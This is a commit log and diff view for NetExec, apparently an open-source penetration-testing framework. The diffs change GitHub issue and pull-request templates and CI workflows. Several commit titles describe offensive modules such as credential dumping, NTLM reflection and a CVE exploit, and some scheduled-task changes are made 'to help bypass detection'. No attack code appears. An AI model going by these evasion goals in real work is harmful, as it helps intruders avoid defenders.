Alex 6c482cdd0e Merge pull request #866 from rtpt-romankarwacik/simple_efs_activator
Remove efsr_spray module, superceded by simply using EPM map on the EFS interface
2025-08-31 02:55:33 +02:00
Alexander Neff e428bcc788 Move function 2025-08-30 20:45:49 -04:00
Alexander Neff d6609ae8a3 Sorted win list 2025-08-30 19:14:02 -04:00
Marshall Hallenbeck cc01381c0a feat(ldap): display group description for --groups 2025-08-29 10:46:55 -04:00
Joachim De Bats cff422c6f5 ruff 2025-08-29 16:00:45 +02:00
Joachim De Bats 71b5742d63 unhappy ruff 2025-08-29 15:50:50 +02:00
Alex 882e93fc6a Merge pull request #830 from 0xb11a1/add-tests-ntds-dump-raw
Fix poetry run pytest & adding tests to ntds-dump-raw module
2025-08-29 13:54:44 +02:00
Joachim De Bats b295bb23bd adding test in e2e _commands.txt 2025-08-29 11:26:48 +02:00
Mauriceter 1272f12e1c Merge branch 'Pennyw0rth:main' into CVE-2025-33073 2025-08-29 10:57:56 +02:00
Joachim De Bats 7d3e48d0af new module cve-2025-33073 2025-08-29 10:52:35 +02:00
Joachim De Bats 900fa08989 new module ntlm reflexion 2025-08-29 10:44:05 +02:00
Joachim De Bats c5044f8aec sccmrecon commit 2025-08-29 09:49:35 +02:00
Mauriceter 4588dc605c Merge branch 'Pennyw0rth:main' into sccm-winreg 2025-08-29 09:43:44 +02:00
SGMG11 304c8fa6e0 Updated schtasks_as.py to control if output will be provided
Signed-off-by: SGMG11 <[email protected]>
2025-08-28 09:09:09 +02:00
Alex 864c88bc6a Merge pull request #904 from lodos2005/patch-3
Unnecessary file
2025-08-27 20:43:34 +02:00
Hakan Yavuz 7589e124dd An unnecessary file left over from GOAD Lab. 2025-08-27 21:32:58 +03:00
Alexander Neff 1261782177 Remove unnecessary new line in imports 2025-08-26 17:53:42 -04:00
mpgn 509f31f4d6 update passpol 2025-08-25 23:28:06 +02:00
mpgn d6e0607ed0 update passpol 2025-08-25 23:25:55 +02:00
Alex d4c38ead3c Merge pull request #901 from Pennyw0rth/neff-fix-879
Fix 879
2025-08-24 19:48:33 +02:00
Alexander Neff a050a59eab Remove unnecessary try&except and return statements 2025-08-24 12:30:43 -04:00
Alexander Neff 915a68395a Don't close connection after running the module 2025-08-24 12:30:14 -04:00
Alexander Neff fa27fa793b Add module option text 2025-08-24 12:29:40 -04:00
Marshall Hallenbeck ccac581646 Remove debug log for DNS server in resolve_hostname
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-08-24 10:20:06 -04:00
Marshall Hallenbeck 39d63882ce refactor(dc_list): clean up code 2025-08-24 10:20:06 -04:00
Marshall Hallenbeck f0c9365f47 fix(dc_list): disable automatic configuration of DNS so we can override it to point to target; fixes #873 2025-08-24 10:20:06 -04:00
Marshall Hallenbeck 0ba9368004 fix(printnightmare): do not exit thread on failure to bind so other modules can run; fixes 882 2025-08-24 10:19:06 -04:00
Alex 911e3656f4 Merge pull request #900 from Pennyw0rth/neff-fix-anon-auth-badsuccessor
Refactor to use internal ldap search function to prevent stack traces
2025-08-24 16:08:14 +02:00
Alex 97e056e714 Merge pull request #899 from Pennyw0rth/neff-fix-anon-auth-gmsa
Fix stacktrace with anon auth and using gmsa
2025-08-24 16:08:07 +02:00
Alex 3331db779b Merge pull request #898 from Pennyw0rth/neff-update-aardwolf
Fix aardwolf logging
2025-08-24 16:08:02 +02:00
Alexander Neff 80481fb685 Refactor to use internal ldap search function to prevent stack traces 2025-08-24 09:11:10 -04:00
Alexander Neff 206ba91e68 Fix anon auth and gmsa module by using internal search function 2025-08-24 08:30:47 -04:00
Alexander Neff 64c3c25fcc Fix aardwolf logging 2025-08-24 07:56:30 -04:00
mpgn 486fc20493 update passpol 2025-08-23 19:36:07 +02:00
Alex d2da64e7b3 Merge pull request #863 from adityatelange/adityatelange-patch-1 2025-08-23 16:38:22 +02:00
Marshall Hallenbeck cb450cd5d9 Merge pull request #876 from Pennyw0rth/issues-874
fix(ldap): return False for general OS errors
2025-08-23 10:35:05 -04:00
Alexander Neff 0b8b577421 Improve error messages 2025-08-23 09:02:48 -04:00
Alexander Neff 9f636c9504 Move ldap information gathering to enum_host_info 2025-08-23 08:58:28 -04:00
Alex a1ccb90065 Merge pull request #867 from P4cm4n90/patch-1
Update gpp_password.py
2025-08-23 13:39:08 +02:00
Alexander Neff d28f447c58 Add module option text 2025-08-23 07:28:09 -04:00
Marshall Hallenbeck c5bb5a2692 fix(enum_ca): properly return false if theres an error with fetchList; also ruff fix for return None 2025-08-21 11:40:47 -04:00
Roman Karwacik 81c6d9fb63 move get_dynamic_endpoint to NXCModule 2025-08-21 09:03:26 +02:00
mpgn 824dbffd12 add test 2025-08-20 23:33:18 +02:00
mpgn c5792dbbc6 fix ruff 2025-08-20 23:30:59 +02:00
mpgn 52ca6347fd add ldap pass-pol option #868 2025-08-20 23:27:24 +02:00
Marshall Hallenbeck 9b8e7534a8 fix(ldap): return False for general OS errors 2025-08-20 14:31:08 -04:00
Roman Karwacik eadd3a1b90 fix ruff errors 2025-08-20 15:36:00 +02:00
Roman Karwacik ecbbb9a4d7 add placeholder with [REMOVED] description 2025-08-20 15:29:47 +02:00
Damian 08627beed9 Update gpp_password.py
The gpp_password accepts only share's name "SYSVOL". When openldap is used, the original SYSVOL share can named in lowercase manner - for example "sysvol".

The fix introduces treating "SYSVOL" share name as case-insensitive.

Signed-off-by: Damian <[email protected]>
2025-08-20 12:02:55 +02:00
Roman Karwacik 2a5d0f0e24 Remove efsr_spray module, superceded by simply using EPM map on the EFS interface before using the coercion methods 2025-08-20 11:03:21 +02:00
Alexander Neff 084d048712 Change module categories 2025-08-19 13:27:32 -04:00
Alexander Neff 7dad6d7697 Switch user-desc module to credential dumping 2025-08-19 13:16:56 -04:00
Alexander Neff f90e648f7e Fix listing modules without IP 2025-08-19 12:57:57 -04:00
Alexander Neff 013f0ecbf9 Formatting 2025-08-19 12:55:28 -04:00
Aditya Telange 5a44e466d3 Show message when krb conf is saved. Help user to export it as a kerberos understandable variable
Signed-off-by: Aditya Telange <[email protected]>
2025-08-19 21:37:23 +05:30
Mickey De Baets 1b8066bc25 Merge branch 'main' into main 2025-08-19 12:30:13 +02:00
mpgn 8af4bfa626 Merge pull request #856 from Pennyw0rth/guest 2025-08-17 22:07:26 +02:00
tiagomanunes d3d6697eb4 Merge branch 'main' into module-usercredman 2025-08-17 11:11:36 +01:00
Alex 5f29dd0779 Merge pull request #858 from Z4kSec/main
Update Masky module to 0.2.1 (fix warning message)
2025-08-16 22:24:11 +02:00
Alexander Neff 441badbced Fix lock file 2025-08-16 16:17:48 -04:00
Alexander Neff 86ac49caf7 Merge branch 'main' into masky 2025-08-16 16:17:35 -04:00
Alexander Neff 88684dc175 Fix lock file 2025-08-16 16:16:51 -04:00
Alexander Neff 3a580c7008 Update masky 2025-08-16 16:14:32 -04:00
Alexander Neff 390eda3cba Recategorize modules 2025-08-16 15:52:29 -04:00
Alexander Neff 4b1b9b6b69 Add category filtering to module listing 2025-08-16 15:19:51 -04:00
Alexander Neff 652fc12253 Categorize modules 2025-08-16 15:10:22 -04:00
Alexander Neff ac7446badb Add category to modules 2025-08-16 15:07:26 -04:00
Alex ac85127877 Merge pull request #837 from E1A/main
Added the lockscreendoors module
2025-08-16 21:01:10 +02:00
Alexander Neff 9bde648867 Add CATEGORY enum 2025-08-16 13:02:55 -04:00
Alexander Neff b06316fde0 Add 'No options available' to the module and the example module 2025-08-16 09:47:03 -04:00
Alexander Neff db665c096a Don't skip silently, bug provide a debug log 2025-08-16 09:44:26 -04:00
Alexander Neff da7cb78942 Formatting and remove unnecessary check 2025-08-16 09:33:13 -04:00
Alexander Neff 4546db892a Add debug log on parsing errors 2025-08-16 09:32:51 -04:00
Alexander Neff 9ae0aecc33 Formatting 2025-08-16 09:25:10 -04:00
Alexander Neff 8bb47665e7 Formatting 2025-08-16 09:22:20 -04:00
Zak dccc7ef5f1 Merge branch 'Pennyw0rth:main' into main 2025-08-16 15:11:02 +02:00
Z4kSec 05fa63d1be Update Masky module to 0.2.1 2025-08-16 13:02:13 +00:00
Alexander Neff 913605ba22 Rename module to 'certipy' so it is expandable in the future 2025-08-16 08:06:12 -04:00
mpgn be20d01990 Merge pull request #676 from Adamkadaban/rdp-exec 2025-08-16 00:43:11 +02:00
Alexander Neff 7483a15da3 Only apply arg check on rdp proto so it doesn't crash on others 2025-08-15 17:33:10 -04:00
Alexander Neff 33a82c565a Mute unicrypto logger and set log level of asyncio to error 2025-08-15 17:29:07 -04:00
Alexander Neff 19a51f543c Mute aardwolf logger and increase cmd-timeout to 5 2025-08-15 16:46:05 -04:00
Alexander Neff 60dea2fb19 Add error output if command failed 2025-08-15 15:18:11 -04:00
Alexander Neff 1ce655ddbf Merge branch 'main' into rdp-exec 2025-08-15 13:23:29 -04:00
Alexander Neff eff606d00f Make warning more accurate 2025-08-15 13:22:55 -04:00
Alex 82b0f973f5 Merge pull request #721 from Kahvi-0/main
Update schtask_as.py to help bypass detection
2025-08-15 19:13:24 +02:00
Alexander Neff 4ce75c0e50 Add unique identifier to filename 2025-08-15 13:13:06 -04:00
Alexander Neff 33ecbe207a Formatting 2025-08-15 13:02:49 -04:00
Alexander Neff ef5c65cabb No unecessary return values 2025-08-15 12:54:10 -04:00
Alexander Neff 30806ee975 Fix description and ensure output path has backslashes 2025-08-15 12:53:56 -04:00
Kahvi-0xFF f99e8ccac0 Merge branch 'main' into main 2025-08-15 10:27:39 -04:00
Alexander Neff 8be0509ef1 Add description 2025-08-15 09:53:41 -04:00
Alexander Neff dd166c86fb Add certipy-find module 2025-08-15 09:51:11 -04:00
Alexander Neff adc83b717e Add Certipy dep 2025-08-15 09:49:30 -04:00
Alexander Neff c9b0edba74 Disable certipy logger 2025-08-15 09:49:08 -04:00
mpgn 020e5a12b9 check guest not default 2025-08-14 23:21:37 +02:00
mpgn d117df7b83 fix ruff 2025-08-14 23:19:29 +02:00
mpgn 404f17be64 add guest check on recon 2025-08-14 23:16:45 +02:00
mpgn 074824423c add warning before running x command 2025-08-14 17:36:14 +02:00
Kahvi-0xFF 84af17f78c Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 11:15:18 -04:00
Kahvi-0xFF 85c4edc780 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 11:14:34 -04:00
Kahvi-0xFF 90c206f0fe Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:47:20 -04:00
Kahvi-0xFF 4c8e8f0585 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:38:02 -04:00
Kahvi-0xFF 1aa997f43b Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:37:40 -04:00
Kahvi-0xFF 086fad7cb2 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:31:47 -04:00
Kahvi-0xFF f1c2840957 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:30:59 -04:00
Kahvi-0xFF 51ac6d6408 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-12 17:16:05 -04:00
Kahvi-0xFF 4e380b46a1 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-12 13:00:08 -04:00
Kahvi-0xFF edb6f90116 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-12 12:57:55 -04:00
Kahvi-0xFF 4c4f3b99b9 Merge branch 'Pennyw0rth:main' into main 2025-08-12 12:57:22 -04:00
azoxlpf a37feba363 Stop logging NXDOMAIN multiple times in DNS resolution 2025-08-12 17:52:54 +02:00
tiagomanunes c2731fb985 Merge branch 'main' into module-usercredman 2025-08-09 09:53:29 +01:00
Alexander Neff 486f47a6b7 Linting 2025-08-07 14:44:20 -04:00
Alex e3520135a5 Merge branch 'main' into rdp-exec 2025-08-07 20:18:21 +02:00
Kahvi-0xFF daa37dd9f6 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:06:29 -04:00
Kahvi-0xFF bc593ecb4c Fresh atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:04:09 -04:00
Kahvi-0xFF 7f037d79bd Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:03:35 -04:00
Kahvi-0xFF 5a226988cb Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:02:57 -04:00
Kahvi-0xFF 1440a6bf1e Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:01:32 -04:00
Kahvi-0xFF ca9847cf61 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 09:59:28 -04:00
Kahvi-0xFF df087a7444 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 09:58:45 -04:00
Kahvi-0xFF 5514bfe05c fresh schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 09:47:59 -04:00
tiagomanunes d3832931b8 Merge branch 'main' into module-usercredman 2025-08-06 09:10:00 +01:00
E1A ed4f6f4858 Merge branch 'main' of github.com:E1A/NetExec 2025-08-06 09:52:48 +02:00
E1A a44fa60223 format expected descriptions as plain string in output 2025-08-06 09:52:40 +02:00
E1A 5a5a5b5756 Merge branch 'main' into main 2025-08-06 09:41:50 +02:00
E1A a5fa60b62a Fixed support for Win server 2008 and multiple descriptions 2025-08-06 09:40:43 +02:00
Kahvi-0xFF a754149025 Merge branch 'main' into main 2025-08-06 00:35:11 -04:00
Kahvi-0xFF b8ce69480d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-05 15:06:29 -04:00
Kahvi-0xFF e663fb83d8 Merge branch 'main' into main
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-05 15:04:57 -04:00
Kahvi-0xFF 4ae11640c3 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:37:21 -04:00
Kahvi-0xFF 24ac21d513 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:23:32 -04:00
Kahvi-0xFF aa8ee61a7b Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:23:04 -04:00
Kahvi-0xFF ecd54323bf Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:18:29 -04:00
Kahvi-0xFF c8de6fe76f Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:17:18 -04:00
Alex 24dc0879b9 Merge branch 'main' into module-usercredman 2025-08-04 18:42:41 +02:00
E1A 5a53fcab93 Merge branch 'main' of github.com:E1A/NetExec 2025-08-04 16:23:11 +02:00
E1A d1d0864002 Added and removed lock screen executables
Changed context.log.fail to context.log.highlight when if tampered = true
2025-08-04 16:23:02 +02:00
tiagomanunes c90270e25d Merge branch 'main' into module-usercredman 2025-08-04 13:28:32 +01:00
Xed cb6891b787 Merge branch 'main' into drop_library_ms 2025-08-04 11:36:49 +02:00
E1A 3a0f1c90e5 Merge branch 'main' into main 2025-08-04 09:57:38 +02:00
E1A 324dc0ccdd Fixed issues for PR 2025-08-04 09:57:04 +02:00
E1A ac0e0c4a29 Merge branch 'main' of github.com:E1A/NetExec 2025-08-02 18:31:03 +02:00
E1A c67d43310c Added lockscreendoors 2025-08-02 18:30:56 +02:00
E1A de03b9b163 Merge branch 'Pennyw0rth:main' into main 2025-08-02 18:08:08 +02:00
E1A 5f23eadc3a ruff changes 2025-08-02 18:07:53 +02:00
E1A 1f96460b01 Merge branch 'main' of github.com:E1A/NetExec 2025-08-02 17:55:10 +02:00
E1A 60c3afd20d added credits 2025-08-02 17:53:52 +02:00
E1A 3ca1987d6b Merge branch 'Pennyw0rth:main' into main 2025-08-02 17:51:48 +02:00
E1A b792021223 Added the lockscreendoors module 2025-08-02 17:51:23 +02:00
tiagomanunes 68b2fe04a3 Merge branch 'main' into module-usercredman 2025-08-02 10:16:43 +01:00
Mickey De Baets 49c89dbca6 Merge branch 'main' into main 2025-07-30 14:02:14 +02:00
tiagomanunes a53faf3c6a Merge branch 'main' into module-usercredman 2025-07-29 11:30:19 +01:00
theuser 904769658d Add tests for ntds-dump-raw module 2025-07-28 17:28:44 +04:00
theuser d0f23b9dda Fix cannot import name 'delete_workspace' from 'nxc.nxcdb' error 2025-07-28 17:28:27 +04:00
gatari f2361e27d6 changed --store-st to --generate-st 2025-07-28 05:47:06 -04:00
gatari 57a06d0612 added --delegate-spn flag 2025-07-28 05:38:30 -04:00
tiagomanunes 31ec2eeffc Merge branch 'main' into module-usercredman 2025-07-27 13:27:46 +01:00
gatari 96e4a306b7 sname bug fix 2025-07-25 05:30:22 -04:00
gatari 8ce7e2fe2a added --store-st flag 2025-07-25 05:30:04 -04:00
tiagomanunes 09fd370ecf Merge branch 'main' into module-usercredman 2025-07-24 08:51:39 +01:00
termanix 3a90c7f555 Merge branch 'main' into patch-1 2025-07-21 17:40:33 +03:00
tiagomanunes e60b47f88c Merge branch 'main' into module-usercredman 2025-07-21 12:20:36 +01:00
tiagomanunes d063f53b1e Merge branch 'main' into module-usercredman 2025-07-18 09:35:30 +01:00
Tiago Nunes e65303aad6 Ignore dump_method flag 2025-07-18 08:19:43 +02:00
Tiago Nunes 6140b3ffdd Bring back the credits 2025-07-17 13:16:37 +02:00
Mickey De Baets edc399736f Merge branch 'main' into main
Signed-off-by: Mickey De Baets <[email protected]>
2025-07-17 12:48:37 +02:00
Tiago Nunes 9614685d2d Move functionality from module into winrm protocol 2025-07-17 12:42:49 +02:00
tiagomanunes 2b7d8abbbe Merge branch 'main' into module-usercredman 2025-07-17 10:55:37 +01:00
azoxlpf baa735192a add to the e2e tests 2025-07-16 21:53:23 +02:00
mpgn 217adf3a8f add clipboard delay 2025-07-16 09:40:30 +02:00
Tiago Nunes 3f1d663121 Add winrm modules to e2e tests 2025-07-14 10:35:59 +02:00
tiagomanunes 32e8603411 Merge branch 'main' into module-usercredman 2025-07-14 09:28:49 +01:00
mpgn 472be5aa36 add more verbosity 2025-07-13 23:45:49 +02:00
mpgn 92206c8143 fix output check 2025-07-13 23:41:47 +02:00
azoxlpf d9197c6e9f add raisechild.py 2025-07-12 22:54:09 +02:00
tiagomanunes 718a38d639 Merge branch 'main' into module-usercredman 2025-07-10 19:43:51 +01:00
mpgn aa17bbc32a fix test 2025-07-08 00:04:28 +02:00
mpgn 0f62ca59cd better catch and add no output option 2025-07-07 23:05:04 +02:00
mpgn f17f091d6b use clipboard to get the result of the command 2025-07-07 20:28:13 +02:00
FaganAfandiyev 8459d608c8 Remove [HISTORY] in output and add e2e tests 2025-07-07 05:52:55 -04:00
Mickey De Baets 25600ad5df Merge branch 'main' into main 2025-07-02 13:34:13 +02:00
Tiago Nunes 952e2cfadd First release candidate of usercredman module for winrm 2025-07-01 14:25:51 +02:00
FaganAfandiyev d80568056b Add --history option for NTDS 2025-06-25 16:14:59 -04:00
termanix a2ea6b9db7 Refactor strict attribute access
Signed-off-by: termanix <[email protected]>
2025-06-24 10:48:35 +03:00
termanix 7c9786d954 Merge branch 'main' into patch-1 2025-06-24 09:45:32 +03:00
Xed e2a530af15 Merge branch 'main' into drop_library_ms 2025-06-21 14:06:45 +02:00
mpgn 581fa4ae19 fix 2025-06-17 17:00:13 +02:00
mpgn 66c8d0cea7 update rdp exec code 2025-06-17 16:59:14 +02:00
termanix 9b31baa7ff added to e2e 2025-06-16 15:21:17 -04:00
termanix 376b7e0762 removed unnecessary search 2025-06-16 15:20:10 -04:00
termanix 2c6e23c4c0 Merge branch 'main' into patch-1 2025-06-16 22:05:41 +03:00
Kahvi-0xFF c64a5b13aa Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-13 10:14:15 -04:00
crosscutsaw 04aca03a9f Update rclone.py
Signed-off-by: crosscutsaw <[email protected]>
2025-06-13 00:47:52 +03:00
Kahvi-0xFF 72deeca890 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-12 09:50:43 -04:00
Kahvi-0xFF a62df1b1dd Merge branch 'Pennyw0rth:main' into main 2025-06-12 09:31:54 -04:00
Kahvi-0xFF cbcc26f2c5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-12 09:31:24 -04:00
termanix 3f78320966 ruff fix 2025-06-12 08:03:42 -04:00
termanix 6bbe239166 Added LDAP Search OUs 2025-06-12 07:38:29 -04:00
Mickey De Baets af39e64aff Merge branch 'main' into main 2025-06-08 14:25:09 +02:00
Kahvi-0xFF 5699ccc173 Update schtask_as.py - added option to specify exec method
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-05 10:10:36 -04:00
zblurx 57b3f022ba update db mismatch error printed 2025-06-05 15:45:16 +02:00
zblurx 9d3e820aac update database table declaration 2025-06-05 15:39:57 +02:00
Kahvi-0xFF 7e23fb3a9a Update atexec.py to help bypass detection
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-05 09:13:02 -04:00
Kahvi-0xFF c027b4a519 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:32:41 -04:00
Kahvi-0xFF 9d2a1e86b7 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:32:01 -04:00
Kahvi-0xFF cd33dc9eb5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:23:45 -04:00
Kahvi-0xFF 5ca5c96015 Update schtask_as.py to help bypass detection
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-06-04 18:11:21 -04:00
Mickey De Baets db5bf36a1c Merge branch 'main' into main 2025-06-02 21:46:44 +02:00
Mickey De Baets 6a9f1212c1 Merge branch 'main' into main 2025-05-20 15:18:20 +02:00
LTJAX 3bb35503ed Add mssql_dumper module for sensitive data discovery 2025-05-19 17:34:43 +03:00
Mickey De Baets 31995e0c67 Merge branch 'main' into main 2025-05-15 16:52:50 +02:00
Xed 02b1361c85 Merge branch 'main' into drop_library_ms 2025-05-12 10:16:57 +02:00
Mickey De Baets 5c7888c416 Added share exclusion functionality
Added --exclude-shares arg to not scan shares (e.g., ADMIN$ and C$) for OPSEC improvement
2025-05-08 22:07:26 +02:00
Adam Hassan b2a450916b Merge branch 'main' into rdp-exec 2025-05-07 23:12:30 -04:00
Adam Hassan 5930d2d9af exit cmd.exe after running commands 2025-05-07 03:03:14 -04:00
Adam Hassan 03c52432b5 remove erroneous vars and code relating to old no-output argument 2025-05-07 03:02:29 -04:00
Adam Hassan 6659976b25 remove no-output argument bc no output from rdp via screen 2025-05-07 02:58:08 -04:00
Adam Hassan e1f84377ac remove codec argument bc no output from rdp via screen 2025-05-07 02:57:09 -04:00
Adam Hassan 05492ff6a1 add new e2e commands for rdp execute 2025-05-07 02:52:40 -04:00
Adam Hassan 7ec74ddb05 screenshot before exit when executing commands via rdp 2025-05-07 02:44:40 -04:00
Adam Hassan 9a12116be3 cmd.exe now working and win+r used to open terminal 2025-05-07 02:17:13 -04:00
Adam Hassan 767e26e6e2 powershell over rdp mostly working with aardwolf
cmd not working atm
TODO: Figure out best way to start terminal
TODO: Add --screenshot functionality to see command output
2025-05-07 01:21:40 -04:00
Adam Hassan e56e97c578 add initial execute_cmd using aardwolf keyboard 2025-05-07 00:40:42 -04:00
Adam Hassan 7531bf62d5 add initial rdp exec code based on winrm 2025-05-07 00:26:38 -04:00
Xed 81d07952b9 Merge branch 'main' into drop_library_ms 2025-05-05 19:52:55 +02:00
Xed ba7d5223b8 Merge branch 'Pennyw0rth:main' into drop_library_ms 2025-04-28 05:00:33 +02:00
Xed 29ced36cde Merge branch 'main' into drop_library_ms 2025-04-27 13:28:02 +02:00
XedSama 8b6df3494a Fix NAME option and adding e2e tests 2025-04-24 14:05:31 +02:00
XedSama 34066da22b Better description and new link for documentation 2025-04-24 13:28:51 +02:00
XedSama 54cadbd567 Fix encoding and xmlns property 2025-04-24 13:26:17 +02:00
XedSama 63e9e54e69 Uploading/Cleaning libms file on writable share 2025-04-24 13:13:17 +02:00
XedSama 745de4908a Fix lms_name 2025-04-24 12:38:41 +02:00
emre 170efd36e9 Update rclone.py 2025-04-24 01:41:40 +03:00
XedSama dc4030aad2 Basic module structure 2025-04-23 21:26:46 +02:00
emre 4440eb86d6 Create rclone.py 2025-04-23 19:47:04 +03:00
c4pit0ch3f 633cec1dc9 added support for LDAP simple auth 2025-04-17 15:08:11 +02:00
Mauriceter bff20dff79 Merge branch 'Pennyw0rth:main' into sccm-winreg 2025-03-04 12:35:32 +01:00
Mauriceter 2e634750db Delete nxc/modules/wds.py
Signed-off-by: Mauriceter <[email protected]>
2025-03-04 11:39:37 +01:00
Joachim De Bats f41f80d98f module recon sccm with winreg 2025-03-04 11:18:12 +01:00
Joachim De Bats 9aca9c246a WDS module 2024-09-26 16:42:24 +02:00
227 changed files with 15368 additions and 6116 deletions

No files matched your search

+8
View File
@@ -0,0 +1,8 @@
blank_issues_enabled: false
contact_links:
- name: NetExec Wiki
url: https://www.netexec.wiki/
about: Check the wiki for usage guides and documentation before opening an issue.
- name: NetExec Discord
url: https://discord.com/invite/pjwUTQzg8R
about: Join the Discord for general questions and community support.
+11 -6
View File
@@ -1,8 +1,9 @@
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
List any dependencies that are required for this change.
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
## Type of change
Insert an "x" inside the brackets for relevant items (do not delete options)
@@ -12,24 +13,28 @@ Insert an "x" inside the brackets for relevant items (do not delete options)
- [ ] Deprecation of feature or functionality
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed?
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
- Is additional software needed?
- GPO changes required?
- Specific registry settings that need to be changed?
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
If appropriate, include before and after screenshot(s) to show which results are to be expected.
## Checklist:
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have ran Ruff against my changes (poetry: `poetry run ruff check .`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
- [ ] New and existing e2e tests pass locally with my changes
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have linked relevant sources that describes the added technique (blog posts, documentation, etc)
- [ ] I have performed a self-review of my own code (_not_ an AI review)
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
+3 -3
View File
@@ -9,8 +9,8 @@ jobs:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.13"]
os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
python-version: ["3.14"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v4
@@ -27,7 +27,7 @@ jobs:
if: runner.os == 'windows'
uses: actions/upload-artifact@v4
with:
name: nxc.exe
name: nxc-windows.exe
path: dist/nxc.exe
- name: Upload Nix/OSx Binary
if: runner.os != 'windows'
+1 -1
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.10", "3.11", "3.12", "3.13"]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
+10 -14
View File
@@ -14,20 +14,16 @@ jobs:
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
steps:
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v5
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
python-version: 3.13
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
run: |
poetry install --with dev
enable-cache: true
- name: Set up Python
run: uv python install 3.14
- name: Install project with dev group
run: uv sync --dev
- name: Run ruff
run: |
poetry run ruff --version
poetry run ruff check . --preview
uv run ruff --version
uv run ruff check . --preview
+54
View File
@@ -0,0 +1,54 @@
name: PR Template Check
on:
pull_request_target:
types: [opened, edited]
permissions:
pull-requests: write
jobs:
check-template:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Check PR description for template sections
uses: actions/github-script@v7
with:
script: |
const body = context.payload.pull_request.body || '';
const requiredSections = [
'## Description',
'## Type of change',
'## Setup guide for the review',
